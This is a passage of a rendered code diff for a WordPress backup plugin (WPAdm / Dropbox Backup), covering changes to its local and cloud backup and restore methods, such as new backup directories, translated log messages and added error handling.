- preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
498
  $params = array_combine($m[1], $m[2]);
499
  foreach($db_params as $k=>$p) {
500
  $db_params[$k] = $params[$p];
59
  $this->name = $name;
60
 
61
  // folder for backup
62
+ $this->dir = DROPBOX_BACKUP_DIR_NAME . '/' . $this->name;
63
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_NAME);
64
+ if (!empty($error)) {
65
+ $this->result->setError($error);
66
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
67
+ }
68
+ $error = WPAdm_Core::mkdir($this->dir);
69
+ if (!empty($error)) {
70
+ $this->result->setError($error);
71
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
72
+ }
73
  }
74
 
75
  public function getResult()
79
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
80
  $this->result->setError('');
81
 
82
+ WPAdm_Core::log( langWPADM::get('Start backup', false) );
83
 
84
  # create db dump
85
+ WPAdm_Core::log( langWPADM::get('Start create db dump', false) );
86
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_NAME);
87
+ if (!empty($error)) {
88
+ $this->result->setError($error);
89
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
90
+ return $this->result;
91
+ }
92
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_NAME . '/mysqldump.sql';
93
  if (file_exists($mysql_dump_file)) {
94
  unlink($mysql_dump_file);
95
  }
96
  $wp_mysql_params = $this->getWpMysqlParams();
97
 
98
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
99
+ WPAdm_Core::log( langWPADM::get('Table optimization', false) );
100
  $commandContext = new WPAdm_Command_Context();
101
  $commandContext ->addParam('command','mysqloptimize')
102
  ->addParam('host', $wp_mysql_params['host'])
120
  ->save()
121
  ->execute();
122
  if (!$res) {
123
+ $log = str_replace('%s', $this->queue->getError(), langWPADM::get('Error: Dump of Database wasn\'t created (%s)', false) );
124
+ WPAdm_Core::log($log);
125
+ $errors[] = $log;
126
  } elseif (0 == (int)filesize($mysql_dump_file)) {
127
+ $errors[] = langWPADM::get('MySQL Error: Database-Dump File is empty', false);
128
+ WPAdm_Core::log(langWPADM::get('Dump of Database wasn\'t created (File of Database-Dump is empty!)', false));
129
  } else {
130
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
131
+ $log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
132
+ WPAdm_Core::log($log . $mysql_dump_file);
133
  }
134
  unset($commandContext);
135
 
136
 
137
  #ЗАРХИВИРУЕМ ФАЙЛЫ
138
+ WPAdm_Core::log( langWPADM::get('Create a list of files for Backup', false) );
139
  $files = $this->createListFilesForArchive();
140
  if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
141
  $files[] = $mysql_dump_file;
142
  }
143
 
144
  if (empty($files)) {
145
+ $errors[] = langWPADM::get('Error: the list of Backup files is empty', false);
146
  }
147
 
148
  // split the file list by 170kbayt lists, To break one big task into smaller
156
  $size = 0;
157
  $files2[$i] = array();
158
  }
159
+ $f_size =(int)filesize($f);
160
  if ($f_size == 0 || $f_size > 1000000) {
161
  WPAdm_Core::log('file '. $f .' size ' . $f_size);
162
  }
164
  $files2[$i][] = $f;
165
  }
166
 
167
+ WPAdm_Core::log( langWPADM::get('List of Backup-Files was successfully created', false) );
168
 
169
  $this->queue->clear();
170
 
179
  $this->queue->add($commandContext);
180
  unset($commandContext);
181
  }
182
+ WPAdm_Core::log( langWPADM::get('Backup of Files was started', false) );
183
  $this->queue->save()
184
  ->execute();
185
+ WPAdm_Core::log( langWPADM::get('End of File Backup', false) );
186
 
187
  $files = glob($this->dir . '/'.$this->name . '*');
188
  $urls = array();
199
  if (isset($this->params['storage'])) {
200
  foreach($this->params['storage'] as $storage) {
201
  if ($storage['type'] == 'ftp') {
202
+ WPAdm_Core::log( langWPADM::get('Begin copying files to FTP', false) );
203
  $this->queue->clear();
204
  $files = glob($this->dir . '/'.$this->name . '*');
205
  //$this->getResult()->setData($files);
222
  $res = $this->queue->save()
223
  ->execute();
224
  if (!$res) {
225
+ $log = langWPADM::get('FTP: ' , false);
226
+ WPAdm_Core::log($log . $this->queue->getError());
227
+ $errors[] = $log . $this->queue->getError();
228
  }
229
+ WPAdm_Core::log( langWPADM::get('Finished copying files to FTP' , false) );
230
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
231
  $remove_from_server = $storage['remove_from_server'];
232
  }
233
  } elseif ($storage['type'] == 's3') {
234
+ WPAdm_Core::log( langWPADM::get('Begin coping files to S3' , false) );
235
  $this->queue->clear();
236
  $files = glob($this->dir . '/'.$this->name . '*');
237
  //$this->getResult()->setData($files);
255
  WPAdm_Core::log('S3: ' . $this->queue->getError());
256
  $errors[] = 'S3: '.$this->queue->getError();
257
  }
258
+ WPAdm_Core::log( langWPADM::get('Finished copying files to S3' , false) );
259
  if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
260
  $remove_from_server = $storage['remove_from_server'];
261
  }
263
  }
264
  if ($remove_from_server) {
265
  // удаляем файлы на сервере
266
+ WPAdm_Core::log( langWPADM::get('Remove the backup server' , false) );
267
  WPAdm_Core::rmdir($this->dir);
268
  }
269
 
272
  $this->queue->clear();
273
  $files = glob($this->dir . '/' . $this->name . '*');
274
  $files = array_merge_recursive(array($mysql_dump_file), $files);
275
+ WPAdm_Core::log( langWPADM::get('files to google: ' , false) . print_r($files, true));
276
  $n = count($files);
277
  for($i = 0; $i <$n; $i++) {
278
  $commandContext = new WPAdm_Command_Context();
289
  $res = $this->queue->save()
290
  ->execute();
291
  if (!$res) {
292
+ WPAdm_Core::log( langWPADM::get('Google drive: ' , false) . $this->queue->getError());
293
  }
294
  //WPAdm_Core::log('google drive' . print_r($this->params, true));
295
  }
297
  $this->queue->clear();
298
  $files = glob($this->dir . '/' . $this->name . '*');
299
  $files = array_merge_recursive(array($mysql_dump_file), $files);
300
+ WPAdm_Core::log( langWPADM::get('files to dropbox: ' , false) . print_r($files, true));
301
  $n = count($files);
302
  for($i = 0; $i <$n; $i++) {
303
  $commandContext = new WPAdm_Command_Context();
314
  $this->queue->save()
315
  ->execute();
316
  if (!$res) {
317
+ WPAdm_Core::log(langWPADM::get('Dropbox: ' , false) . $this->queue->getError());
318
  }
319
  }
320
 
321
  #Removing TMP-files
322
+ WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_NAME . '/mysqldump.sql');
323
 
324
  #Removind old backups(if limit the number of stored backups)
325
+ WPAdm_Core::log( langWPADM::get('Start removing old backups' , false) );
326
  if ($this->params['limit'] != 0) {
327
+ $files = glob(DROPBOX_BACKUP_DIR_NAME . '/*');
328
  if (count($files) > $this->params['limit']) {
329
  $files2 = array();
330
  foreach($files as $f) {
343
  }
344
  }
345
  }
346
+ WPAdm_Core::log( langWPADM::get('Finished removing old backups' , false) );
347
 
348
+ WPAdm_Core::log( langWPADM::get('Creating a backup is completed' , false) );
349
 
350
+ wpadm_class::setBackup(2);
351
  if (!empty($errors)) {
352
  $this->result->setError(implode("\n", $errors));
353
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
354
+ wpadm_class::setStatus(0);
355
+ wpadm_class::setErrors( implode(", ", $errors) );
356
+ } else {
357
+ wpadm_class::setStatus(1);
358
  }
359
+ wpadm_class::backupSend();
360
  return $this->result;
 
 
361
  }
362
 
 
 
363
  public function createListFilesForArchive() {
364
  $folders = array();
365
  $files = array();
394
  $v = str_replace(ABSPATH , '', $v);
395
  if (in_array($v, $minus_path)) {
396
  unset($files[$k]);
397
+ WPAdm_Core::log( langWPADM::get('Skip file ' , false) . $v);
398
  }
399
  }
400
  }
453
  $d1 = mb_strtolower($tmp[0]);
454
  unset($tmp[0]);
455
  $d2 = mb_strtolower(implode('/', $tmp));
456
+ if (strpos($d2, 'cache') !== false
457
+ && !in_array($tmp[0], array('plugins', 'themes'))
458
+ ) {
459
  WPAdm_Core::log('Skip dir(cache) ' . $directory);
460
  return array();
461
  }
462
+ if(strpos($directory, 'wpadm_backups') !== false) {
463
+ return array();
464
+ }
465
 
466
  if ($handle = opendir($directory)) {
467
  while (false !== ($file = readdir($handle))) {
491
  if (!in_array($f, $minus_path)) {
492
  $array_items[] = $ff;
493
  } else {
494
+ WPAdm_Core::log( langWPADM::get('Skip dir ' , false) . $ff);
495
  }
496
  }
497
  }
517
  );
518
 
519
  $r = "/define\('(.*)', '(.*)'\)/";
520
+ preg_match_all($r, file_get_contents( ABSPATH . "wp-config.php"), $m);
521
  $params = array_combine($m[1], $m[2]);
522
  foreach($db_params as $k=>$p) {
523
  $db_params[$k] = $params[$p];
methods/class-wpadm-method-local-backup.php CHANGED
@@ -3,6 +3,8 @@
3
  if (!class_exists('WPAdm_Method_Local_Backup')) {
4
  class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
5
 
 
 
6
  public function __construct($params)
7
  {
8
  parent::__construct($params);
@@ -16,23 +18,49 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
16
  if (file_exists($file_log)) {
17
  unlink($file_log);
18
  }
19
- WPAdm_Core::log('Create Unique Id '. $this->id);
20
 
21
 
22
  $name = get_option('siteurl');
23
 
24
  $name = str_replace("http://", '', $name);
25
  $name = str_replace("https://", '', $name);
26
- $name = preg_replace("|\W|", "_", $name);
27
- $this->time = date("d.m.Y H:i"); //23.04.2015 13:45
28
- $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
 
 
 
 
 
29
  $this->name = $name;
30
-
31
 
32
  // folder for backup
33
- $this->dir = ABSPATH . 'wpadm_backups/' . $this->name;
34
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backups/');
35
- WPAdm_Core::mkdir($this->dir);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
36
  }
37
  public function getResult()
38
  {
@@ -42,21 +70,25 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
42
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
43
  $this->result->setError('');
44
 
45
- WPAdm_Core::log('Start Backup process...');
46
 
47
  # create db dump
48
  if (in_array('db', $this->params['types']) ) {
49
- WPAdm_Core::log('Creating Database Dump');
50
- WPAdm_Core::mkdir(ABSPATH . 'wpadm_backup');
51
- $mysql_dump_file = ABSPATH . 'wpadm_backup/mysqldump.sql';
 
 
 
 
 
52
  if (file_exists($mysql_dump_file)) {
53
  unlink($mysql_dump_file);
54
  }
55
  $wp_mysql_params = $this->getWpMysqlParams();
56
 
57
- // Table Optimization
58
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
59
- WPAdm_Core::log('Optimize Database Tables');
60
  $commandContext = new WPAdm_Command_Context();
61
  $commandContext ->addParam('command','mysqloptimize')
62
  ->addParam('host', $wp_mysql_params['host'])
@@ -67,7 +99,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
67
  ->add($commandContext);
68
  unset($commandContext);
69
  }
70
- // Creating of Database Backup
71
  $commandContext = new WPAdm_Command_Context();
72
  $commandContext ->addParam('command','mysqldump')
73
  ->addParam('host', $wp_mysql_params['host'])
@@ -80,121 +112,133 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
80
  ->save()
81
  ->execute();
82
  if (!$res) {
83
- WPAdm_Core::log('Error: Dump of Database wasn\'t created('.$this->queue->getError().')');
84
- $errors[] = 'MySQL Error: '.$this->queue->getError();
 
85
  } elseif (0 == (int)filesize($mysql_dump_file)) {
86
- $errors[] = 'MySQL Error: Database-Dump File is empty';
87
- WPAdm_Core::log('Dump of Database wasn\'t created (File of Database-Dump is empty!)');
 
88
  } else {
89
- WPAdm_Core::log('Database Dump was successfully created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
 
 
90
  }
91
  unset($commandContext);
92
  }
93
 
 
 
 
 
 
 
 
 
94
 
95
- if (in_array('files', $this->params['types']) ) {
96
- WPAdm_Core::log('Create a list of files for Backup');
97
- $files = $this->createListFilesForArchive();
98
- }
99
- if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
100
- $files[] = $mysql_dump_file;
101
- }
102
-
103
- if (empty($files)) {
104
- $errors[] = 'Error: the list of Backup files is empty';
105
- }
106
-
107
- // split the file list by 170kbayt lists, To break one big task into smaller
108
- $files2 = array();
109
- $files2[0] = array();
110
- $i = 0;
111
- $size = 0;
112
- foreach($files as $f) {
113
- if ($size > 170000) {//~170kbyte
114
- $i ++;
115
- $size = 0;
116
- $files2[$i] = array();
117
  }
118
- $f_size =(int)filesize($f);
119
- if ($f_size == 0 || $f_size > 1000000) {
120
- WPAdm_Core::log('File '. $f .' Size ' . $f_size);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
121
  }
122
- $size += $f_size;
123
- $files2[$i][] = $f;
124
- }
125
 
126
- WPAdm_Core::log('List of Backup-Files was successfully created');
127
 
128
- $this->queue->clear();
129
- // Adding Wordpress Files and MySQL Dump to Archive
130
- foreach($files2 as $files) {
131
- $commandContext = new WPAdm_Command_Context();
132
- $commandContext ->addParam('command', 'archive')
133
- ->addParam('files', $files)
134
- ->addParam('to_file', $this->dir . '/'.$this->name)
135
- ->addParam('max_file_size', 900000)
136
- ->addParam('remove_path', ABSPATH);
137
 
138
- $this->queue->add($commandContext);
139
- unset($commandContext);
140
- }
141
- WPAdm_Core::log('Backup of Files was started');
142
- $this->queue->save()
143
- ->execute();
144
- WPAdm_Core::log('End of File Backup');
145
-
146
- $files = glob($this->dir . '/'.$this->name . '*');
147
- $urls = array();
148
- $totalSize = 0;
149
- foreach($files as $file) {
150
- $urls[] = str_replace(ABSPATH, '', $file);
151
- $totalSize += @intval( filesize($file) );
152
- }
153
- $this->result->setData($urls);
154
- $this->result->setSize($totalSize);
155
- $size = $totalSize / 1024 / 1024; /// MByte
156
- $size = round($size, 2);
157
- WPAdm_Core::log('Backup Size ' . $size . " Mb");
158
-
159
- $remove_from_server = 0;
160
- #Removing TMP-files
161
- WPAdm_Core::rmdir(ABSPATH . 'wpadm_backup');
162
-
163
- #Removind old backups(if limit the number of stored backups)
164
- if ($this->params['limit'] != 0) {
165
- WPAdm_Core::log('Limits of Backups ' . $this->params['limit']);
166
- WPAdm_Core::log('Removing of old Backups was started');
167
- $files = glob(ABSPATH . 'wpadm_backups/*');
168
- if (count($files) > $this->params['limit']) {
169
- $files2 = array();
170
- foreach($files as $f) {
171
- $fa = explode('-', $f);
172
- if (count($fa) != 3) {
173
- continue;
174
- }
175
- $files2[$fa[2]] = $f;
176
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
177
  }
178
- ksort($files2);
179
- $d = count($files2) - $this->params['limit'];
180
- $del = array_slice($files2, 0, $d);
181
- foreach($del as $d) {
182
- WPAdm_Core::rmdir($d);
183
- }
184
  }
185
- WPAdm_Core::log('Removing of old Backups was Finished');
186
  }
 
187
  if (!empty($errors)) {
188
  $this->result->setError(implode("\n", $errors));
189
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
190
  } else {
191
- WPAdm_Core::log('Backup creating is completed successfully!');
 
192
  }
 
193
 
194
  return $this->result;
195
 
196
  }
197
-
198
  public function createListFilesForArchive() {
199
  $folders = array();
200
  $files = array();
@@ -229,7 +273,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
229
  $v = str_replace(ABSPATH , '', $v);
230
  if (in_array($v, $minus_path)) {
231
  unset($files[$k]);
232
- WPAdm_Core::log('Skip of File ' . $v);
233
  }
234
  }
235
  }
@@ -280,7 +324,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
280
  if (isset($this->params['minus-path'])) {
281
  $minus_path = explode(",", $this->params['minus-path']);
282
  if (in_array($d, $minus_path) ) {
283
- WPAdm_Core::log('Skip of Folder ' . $directory);
284
  return array();
285
  }
286
  } else {
@@ -292,8 +336,11 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
292
  $d1 = mb_strtolower($tmp[0]);
293
  unset($tmp[0]);
294
  $d2 = mb_strtolower(implode('/', $tmp));
295
- if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
296
- WPAdm_Core::log('Skip of Cache-Folder ' . $directory);
 
 
 
297
  return array();
298
  }
299
 
@@ -313,7 +360,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
313
  if (!in_array($f, $minus_path)) {
314
  $array_items[] = $ff;
315
  } else {
316
- WPAdm_Core::log('Skip of File ' . $ff);
317
  }
318
  }
319
  } else {
@@ -325,7 +372,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
325
  if (!in_array($f, $minus_path)) {
326
  $array_items[] = $ff;
327
  } else {
328
- WPAdm_Core::log('Skip of Folder ' . $ff);
329
  }
330
  }
331
  }
3
  if (!class_exists('WPAdm_Method_Local_Backup')) {
4
  class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
5
 
6
+ private $start = true;
7
+
8
  public function __construct($params)
9
  {
10
  parent::__construct($params);
18
  if (file_exists($file_log)) {
19
  unlink($file_log);
20
  }
21
+ WPAdm_Core::log(langWPADM::get('Create Unique Id ', false) . $this->id);
22
 
23
 
24
  $name = get_option('siteurl');
25
 
26
  $name = str_replace("http://", '', $name);
27
  $name = str_replace("https://", '', $name);
28
+ $name = preg_replace("|\W|", "_", $name);
29
+ if (isset($params['time']) && !empty($params['time'])) { // time 1432751372
30
+ $this->time = date("Y-m-d H:i", $params['time']);
31
+ $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i", $params['time']);
32
+ } else {
33
+ $this->time = date("Y-m-d H:i"); //23.04.2015 13:45
34
+ $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
35
+ }
36
  $this->name = $name;
37
+
38
 
39
  // folder for backup
40
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
41
+ if (($f = $this->checkBackup()) !== false) {
42
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $f;
43
+ }
44
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
45
+ if (!empty($error)) {
46
+ $this->result->setError($error);
47
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
48
+ }
49
+ $error = WPAdm_Core::mkdir($this->dir);
50
+ if (!empty($error)) {
51
+ $this->result->setError($error);
52
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
53
+ }
54
+ }
55
+ public function checkBackup()
56
+ {
57
+ $archives = glob("{$this->dir}");
58
+ if (empty($archives) && count($archives) <= 1) {
59
+ return false;
60
+ }
61
+ $n = count($archives);
62
+ $f = "{$this->name}({$n})";
63
+ return $f;
64
  }
65
  public function getResult()
66
  {
70
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
71
  $this->result->setError('');
72
 
73
+ WPAdm_Core::log(langWPADM::get('Start Backup process...', false));
74
 
75
  # create db dump
76
  if (in_array('db', $this->params['types']) ) {
77
+ WPAdm_Core::log(langWPADM::get('Creating Database Dump', false));
78
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_NAME);
79
+ if (!empty($error)) {
80
+ $this->result->setError($error);
81
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
82
+ return $this->result;
83
+ }
84
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
85
  if (file_exists($mysql_dump_file)) {
86
  unlink($mysql_dump_file);
87
  }
88
  $wp_mysql_params = $this->getWpMysqlParams();
89
 
 
90
  if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
91
+ WPAdm_Core::log(langWPADM::get('Optimize Database Tables', false));
92
  $commandContext = new WPAdm_Command_Context();
93
  $commandContext ->addParam('command','mysqloptimize')
94
  ->addParam('host', $wp_mysql_params['host'])
99
  ->add($commandContext);
100
  unset($commandContext);
101
  }
102
+
103
  $commandContext = new WPAdm_Command_Context();
104
  $commandContext ->addParam('command','mysqldump')
105
  ->addParam('host', $wp_mysql_params['host'])
112
  ->save()
113
  ->execute();
114
  if (!$res) {
115
+ $log = langWPADM::get('Website "%d" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.', false, array('%d', '%s'), array(SITE_HOME, $this->queue->getError() ) );
116
+ WPAdm_Core::log($log);
117
+ $errors[] = $log;
118
  } elseif (0 == (int)filesize($mysql_dump_file)) {
119
+ $log = langWPADM::get('Website "%d" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".', false, array('%d', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_NAME));
120
+ $errors[] = $log;
121
+ WPAdm_Core::log($log);
122
  } else {
123
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
124
+ $log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
125
+ WPAdm_Core::log($log . $mysql_dump_file);
126
  }
127
  unset($commandContext);
128
  }
129
 
130
+ if (count($errors) == 0) {
131
+ if (in_array('files', $this->params['types']) ) {
132
+ WPAdm_Core::log( langWPADM::get('Create a list of files for Backup', false) );
133
+ $files = $this->createListFilesForArchive();
134
+ }
135
+ if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
136
+ $files[] = $mysql_dump_file;
137
+ }
138
 
139
+ if (empty($files)) {
140
+ $errors[] = langWPADM::get( 'Website "%d" returned an error during creation of the list of files for a backup: list of files for a backup is empty. To solve this problem, please check files and folders permissions for website "%d".' , false, array('%d'), array(SITE_HOME));
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
141
  }
142
+
143
+ // split the file list by 170kbayt lists, To break one big task into smaller
144
+
145
+ $files2 = array();
146
+ $files2[0] = array();
147
+ $i = 0;
148
+ $size = 0;
149
+ foreach($files as $f) {
150
+ if ($size > 170000) {//~170kbyte
151
+ $i ++;
152
+ $size = 0;
153
+ $files2[$i] = array();
154
+ }
155
+ $f_size =(int)@filesize($f);
156
+ if ($f_size == 0 || $f_size > 1000000) {
157
+ WPAdm_Core::log('File ' . $f . ' Size ' . $f_size);
158
+ }
159
+ $size += $f_size;
160
+ $files2[$i][] = $f;
161
  }
 
 
 
162
 
163
+ WPAdm_Core::log( langWPADM::get('List of Backup-Files was successfully created', false) );
164
 
165
+ $this->queue->clear();
 
 
 
 
 
 
 
 
166
 
167
+ foreach($files2 as $files) {
168
+ $commandContext = new WPAdm_Command_Context();
169
+ $commandContext ->addParam('command', 'archive')
170
+ ->addParam('files', $files)
171
+ ->addParam('to_file', $this->dir . '/'.$this->name)
172
+ ->addParam('max_file_size', 900000)
173
+ ->addParam('remove_path', ABSPATH);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
174
 
175
+ $this->queue->add($commandContext);
176
+ unset($commandContext);
177
+ }
178
+ WPAdm_Core::log( langWPADM::get('Backup of Files was started', false) );
179
+ $this->queue->save()
180
+ ->execute();
181
+ WPAdm_Core::log( langWPADM::get('End of File Backup', false) );
182
+
183
+ $files = glob($this->dir . '/'.$this->name . '*');
184
+ $urls = array();
185
+ $totalSize = 0;
186
+ foreach($files as $file) {
187
+ $urls[] = str_replace(ABSPATH, '', $file);
188
+ $totalSize += @intval( filesize($file) );
189
+ }
190
+ $this->result->setData($urls);
191
+ $this->result->setSize($totalSize);
192
+ $size = $totalSize / 1024 / 1024; /// MByte
193
+ $size = round($size, 2);
194
+ $log = str_replace("%s", $size , langWPADM::get('Backup Size %s Mb', false) ) ;
195
+ WPAdm_Core::log($log);
196
+
197
+ $remove_from_server = 0;
198
+ #Removing TMP-files
199
+ WPAdm_Core::rmdir($mysql_dump_file);
200
+
201
+ #Removind old backups(if limit the number of stored backups)
202
+ if ($this->params['limit'] != 0) {
203
+ WPAdm_Core::log( langWPADM::get('Limits of Backups ', false) . $this->params['limit'] );
204
+ WPAdm_Core::log( langWPADM::get('Removing of old Backups was started', false) );
205
+ $files = glob(DROPBOX_BACKUP_DIR_NAME . '/*');
206
+ if (count($files) > $this->params['limit']) {
207
+ $files2 = array();
208
+ foreach($files as $f) {
209
+ $fa = explode('-', $f);
210
+ if (count($fa) != 3) {
211
+ continue;
212
+ }
213
+ $files2[$fa[2]] = $f;
214
+
215
+ }
216
+ ksort($files2);
217
+ $d = count($files2) - $this->params['limit'];
218
+ $del = array_slice($files2, 0, $d);
219
+ foreach($del as $d) {
220
+ WPAdm_Core::rmdir($d);
221
+ }
222
  }
223
+ WPAdm_Core::log( langWPADM::get('Removing of old Backups was Finished', false) );
 
 
 
 
 
224
  }
 
225
  }
226
+ wpadm_class::setBackup(1);
227
  if (!empty($errors)) {
228
  $this->result->setError(implode("\n", $errors));
229
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
230
+ WPAdm_Core::rmdir($this->dir);
231
+ wpadm_class::setStatus(0);
232
+ wpadm_class::setErrors( implode(", ", $errors) );
233
  } else {
234
+ wpadm_class::setStatus(1);
235
+ WPAdm_Core::log( langWPADM::get('Backup creation was complete successfully!', false) );
236
  }
237
+ wpadm_class::backupSend();
238
 
239
  return $this->result;
240
 
241
  }
 
242
  public function createListFilesForArchive() {
243
  $folders = array();
244
  $files = array();
273
  $v = str_replace(ABSPATH , '', $v);
274
  if (in_array($v, $minus_path)) {
275
  unset($files[$k]);
276
+ WPAdm_Core::log( langWPADM::get('Skip of File ', false) . $v);
277
  }
278
  }
279
  }
324
  if (isset($this->params['minus-path'])) {
325
  $minus_path = explode(",", $this->params['minus-path']);
326
  if (in_array($d, $minus_path) ) {
327
+ WPAdm_Core::log(langWPADM::get('Skip of Folder ', false) . $directory);
328
  return array();
329
  }
330
  } else {
336
  $d1 = mb_strtolower($tmp[0]);
337
  unset($tmp[0]);
338
  $d2 = mb_strtolower(implode('/', $tmp));
339
+ if (strpos($d2, 'cache') !== false && isset($tmp[0]) && !in_array($tmp[0], array('plugins', 'themes')) ) {
340
+ WPAdm_Core::log(langWPADM::get('Skip of Cache-Folder ', false) . $directory);
341
+ return array();
342
+ }
343
+ if(strpos($directory, 'wpadm_backups') !== false || strpos($directory, 'Dropbox_Backup') !== false) {
344
  return array();
345
  }
346
 
360
  if (!in_array($f, $minus_path)) {
361
  $array_items[] = $ff;
362
  } else {
363
+ WPAdm_Core::log(langWPADM::get('Skip of File ', false) . $ff);
364
  }
365
  }
366
  } else {
372
  if (!in_array($f, $minus_path)) {
373
  $array_items[] = $ff;
374
  } else {
375
+ WPAdm_Core::log( langWPADM::get('Skip of Folder ', false) . $ff);
376
  }
377
  }
378
  }
methods/class-wpadm-method-local-restore.php CHANGED
@@ -25,7 +25,7 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
25
  if (file_exists($file_log)) {
26
  unlink($file_log);
27
  }
28
- WPAdm_Core::log('Create Unique Id '. $this->id);
29
  if (count($this->files_resotre) > 0) {
30
  $this->restore = true;
31
  }
@@ -33,27 +33,42 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
33
  }
34
  private function getFiles()
35
  {
 
36
  if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
37
- $dir_backup = ABSPATH . 'wpadm_backups/' . $this->params['name_backup'];
38
- if (is_dir($dir_backup)) {
39
- WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
40
- $dir_open = opendir($dir_backup);
41
- while($d = readdir($dir_open)) {
42
- if ($d != "." && $d != '..') {
43
- if(strpos($d, ".md5") !== false) {
44
- $this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
45
- } elseif(strpos($d, ".zip") !== false) {
46
- $this->files_resotre[$d] = $dir_backup . "/$d";
47
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
48
  }
49
  }
50
- return true;
51
  }
52
- }
53
- WPAdm_Core::log('Error: folder is not exist (' . $this->params['name_backup'] . ')');
54
- $this->setError('Error: folder is not exist (' . $this->params['name_backup'] . ')');
55
  return false;
56
-
57
  }
58
  private function setError($errors)
59
  {
@@ -72,11 +87,9 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
72
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
73
  $this->result->setError('');
74
 
75
- WPAdm_Core::log('Start Restore process');
76
  $n = count($this->md5_info);
77
- if (in_array('db', $this->params['types'])) {
78
-
79
- }
80
  if (in_array('files', $this->params['types']) ) {
81
  foreach($this->files_resotre as $key => $file) {
82
  if (file_exists($file)) {
@@ -108,16 +121,22 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
108
  ->add($commandContext)->save()
109
  ->execute();
110
  unset($commandContext);
 
 
 
111
  } else {
112
- $this->setError('File(' . $data[2] . ') not Exist');
113
- WPAdm_Core::log('File(' . $data[2] . ') not Exist');
 
114
  break;
115
  }
116
  }
117
  }
118
  }
119
  } else {
120
- WPAdm_Core::log('Files to restore is empty');
 
 
121
  }
122
  return $this->result;
123
  }
25
  if (file_exists($file_log)) {
26
  unlink($file_log);
27
  }
28
+ WPAdm_Core::log(langWPADM::get('Create Unique Id ', false) . $this->id);
29
  if (count($this->files_resotre) > 0) {
30
  $this->restore = true;
31
  }
33
  }
34
  private function getFiles()
35
  {
36
+ $res = false;
37
